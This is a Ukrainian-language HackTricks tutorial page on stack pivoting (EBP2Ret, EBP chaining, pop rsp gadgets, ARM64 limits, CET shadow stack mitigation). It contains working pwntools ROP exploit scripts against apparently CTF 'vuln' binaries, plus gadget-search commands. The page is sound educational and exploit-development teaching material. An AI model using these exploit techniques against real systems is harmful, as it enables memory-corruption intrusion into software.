hacktricks/src/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

20 KiB
Raw Blame History

Stack Pivoting - EBP2Ret - EBP chaining

{{#include ../../banners/hacktricks-training.md}}

Основна інформація

Ця техніка використовує можливість маніпулювати Base Pointer (EBP/RBP) для з'єднання виконання кількох функцій через обережне використання вказівника кадру та інструкційної послідовності leave; ret.

Нагадаємо, що на x86/x86-64 leave еквівалентно:

mov       rsp, rbp   ; mov esp, ebp on x86
pop       rbp        ; pop ebp on x86
ret

І як збережений EBP/RBP знаходиться в стеку перед збереженим EIP/RIP, його можна контролювати, контролюючи стек.

Примітки

  • На 64-бітних системах замініть EBP→RBP та ESP→RSP. Семантика залишається такою ж.
  • Деякі компілятори пропускають вказівник кадру (див. "EBP може не використовуватися"). У цьому випадку leave може не з'явитися, і ця техніка не спрацює.

EBP2Ret

Ця техніка особливо корисна, коли ви можете змінити збережений EBP/RBP, але не маєте прямого способу змінити EIP/RIP. Вона використовує поведінку епілогу функції.

Якщо під час виконання fvuln вам вдасться впровадити підроблений EBP у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode/ROP ланцюга (плюс 8 байт на amd64 / 4 байти на x86 для врахування pop), ви можете непрямо контролювати RIP. Коли функція повертається, leave встановлює RSP на створене місце, а наступний pop rbp зменшує RSP, ефективно вказуючи на адресу, збережену атакуючим там. Тоді ret використовуватиме цю адресу.

Зверніть увагу, що вам потрібно знати 2 адреси: адресу, куди ESP/RSP буде йти, і значення, збережене за цією адресою, яке ret споживатиме.

Конструкція експлойту

Спочатку вам потрібно знати адресу, куди ви можете записувати довільні дані/адреси. RSP буде вказувати сюди і споживати перший ret.

Потім вам потрібно вибрати адресу, яку використовує ret, яка перенаправить виконання. Ви можете використовувати:

  • Дійсну ONE_GADGET адресу.
  • Адресу system(), за якою слідує відповідний повернення та аргументи (на x86: ret ціль = &system, потім 4 байти сміття, потім &"/bin/sh").
  • Адресу jmp esp; гаджета (ret2esp), за якою слідує вбудований shellcode.
  • Ланцюг ROP, розміщений у записуваній пам'яті.

Пам'ятайте, що перед будь-якими з цих адрес у контрольованій області повинно бути місце для pop ebp/rbp з leave (8B на amd64, 4B на x86). Ви можете зловживати цими байтами, щоб встановити другий підроблений EBP і зберегти контроль після повернення першого виклику.

Вразливість Off-By-One

Існує варіант, який використовується, коли ви можете змінити лише найменш значущий байт збереженого EBP/RBP. У такому випадку місце в пам'яті, що зберігає адресу для переходу з ret, повинно ділити перші три/п'ять байтів з оригінальним EBP/RBP, щоб 1-байтове перезаписування могло перенаправити його. Зазвичай низький байт (зсув 0x00) збільшується, щоб стрибнути якомога далі в межах сусідньої сторінки/вирівняної області.

Також поширено використовувати RET сани в стеці та розміщувати реальний ROP ланцюг в кінці, щоб підвищити ймовірність того, що новий RSP вказує всередину сани, і фінальний ROP ланцюг виконується.

Ланцюгування EBP

Розміщуючи контрольовану адресу в збереженому слоті EBP стека та гаджет leave; ret в EIP/RIP, можна перемістити ESP/RSP на адресу, контрольовану атакуючим.

Тепер RSP контролюється, і наступна інструкція - ret. Розмістіть у контрольованій пам'яті щось на зразок:

  • &(наступний підроблений EBP) -> Завантажується pop ebp/rbp з leave.
  • &system() -> Викликається ret.
  • &(leave;ret) -> Після завершення system переміщує RSP до наступного підробленого EBP і продовжує.
  • &("/bin/sh") -> Аргумент для system.

Таким чином, можливо з'єднати кілька підроблених EBP для контролю потоку програми.

Це схоже на ret2lib, але складніше і корисне лише в крайніх випадках.

Більше того, тут у вас є приклад виклику, який використовує цю техніку з витоком стека, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (reach saved RBP)

payload += flat(
buffer,         # Load leaked address in RBP
LEAVE_RET       # Use leave to move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

amd64 вирівнювання поради: System V ABI вимагає вирівнювання стеку на 16 байт у точках виклику. Якщо ваш ланцюг викликає функції, такі як system, додайте гаджет вирівнювання (наприклад, ret, або sub rsp, 8 ; ret) перед викликом, щоб підтримувати вирівнювання і уникнути аварій movaps.

EBP може не використовуватися

Як пояснено в цьому пості, якщо бінарний файл скомпільовано з деякими оптимізаціями або з пропуском вказівника кадру, EBP/RBP ніколи не контролює ESP/RSP. Тому будь-який експлойт, що працює шляхом контролю EBP/RBP, зазнає невдачі, оскільки пролог/епілог не відновлює з вказівника кадру.

  • Не оптимізовано / використовується вказівник кадру:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Оптимізовано / вказівник кадру пропущено:
push   %ebx         # save callee-saved register
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore
ret                 # return

На amd64 ви часто побачите pop rbp ; ret замість leave ; ret, але якщо вказівник кадру зовсім відсутній, тоді немає епілогу на основі rbp, через який можна було б здійснити півотування.

Інші способи контролю RSP

Гаджет pop rsp

На цій сторінці ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і там був гаджет pop rsp і є leak з стеку:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg , rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Перевірте техніку ret2esp тут:

{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}

Швидке знаходження півотних гаджетів

Використовуйте свій улюблений пошуковик гаджетів для пошуку класичних півотних примітивів:

  • leave ; ret у функціях або в бібліотеках
  • pop rsp / xchg rax, rsp ; ret
  • add rsp, <imm> ; ret (або add esp, <imm> ; ret на x86)

Приклади:

# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"

# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"

Класичний шаблон півотування

Надійна стратегія півотування, що використовується в багатьох CTF/експлойтах:

  1. Використовуйте невеликий початковий переповненіє, щоб викликати read/recv у великій записуваній області (наприклад, .bss, купа або відображена RW пам'ять) і розмістіть там повний ROP ланцюг.
  2. Поверніться до півотного гаджета (leave ; ret, pop rsp, xchg rax, rsp ; ret), щоб перемістити RSP до цієї області.
  3. Продовжте з підготовленим ланцюгом (наприклад, витік libc, виклик mprotect, потім read shellcode, потім перехід до нього).

Сучасні заходи, які порушують півотування стеку (CET/Shadow Stack)

Сучасні процесори x86 та операційні системи все частіше впроваджують CET Shadow Stack (SHSTK). При ввімкненому SHSTK, ret порівнює адресу повернення на звичайному стеку з апаратно захищеним тіньовим стеком; будь-яка невідповідність викликає помилку контролю захисту і завершує процес. Тому техніки, такі як EBP2Ret/leave;ret-орієнтовані півоти, зламаються, як тільки виконується перший ret з півотованого стеку.

  • Для фону та детальнішої інформації дивіться:

{{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}}

  • Швидкі перевірки на Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'

# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo

# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status   # expect: shstk (and possibly wrss)

# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
  • Примітки для лабораторій/CTF:

  • Деякі сучасні дистрибутиви активують SHSTK для бінарників з увімкненим CET, коли є підтримка апаратного забезпечення та glibc. Для контрольованого тестування у ВМ SHSTK можна вимкнути на системному рівні за допомогою параметра завантаження ядра nousershstk, або вибірково активувати через налаштування glibc під час запуску (див. посилання). Не вимикайте пом'якшення на продуктивних цілях.

  • Техніки на основі JOP/COOP або SROP можуть залишатися життєздатними на деяких цілях, але SHSTK спеціально порушує ret-базовані піводи.

  • Примітка для Windows: Windows 10+ відкриває режим користувача, а Windows 11 додає режим ядра "Aпаратно забезпечений захист стеку", побудований на тіньових стеках. Процеси, сумісні з CET, запобігають піводам стеку/ROP на ret; розробники можуть включити це через CETCOMPAT та пов'язані політики (див. посилання).

ARM64

В ARM64 пролог і епілог функцій не зберігають і не відновлюють регістр SP у стеку. Більше того, інструкція RET не повертає за адресою, вказаною SP, а за адресою всередині x30.

Отже, за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати регістр SP, переписуючи деякі дані всередині стека. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб контролювати регістр x30.

  • пролог
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP вказує на запис кадру
  • епілог
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

Caution

Спосіб виконати щось подібне до піводів стеку в ARM64 полягатиме в тому, щоб мати можливість контролювати SP (контролюючи якийсь регістр, значення якого передається до SP, або через те, що з якоїсь причини SP отримує свою адресу зі стека, і у нас є переповнення) і потім зловживати епілогом, щоб завантажити регістр x30 з контрольованого SP і RET до нього.

Також на наступній сторінці ви можете побачити еквівалент Ret2esp в ARM64:

{{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}}

Посилання

{{#include ../../banners/hacktricks-training.md}}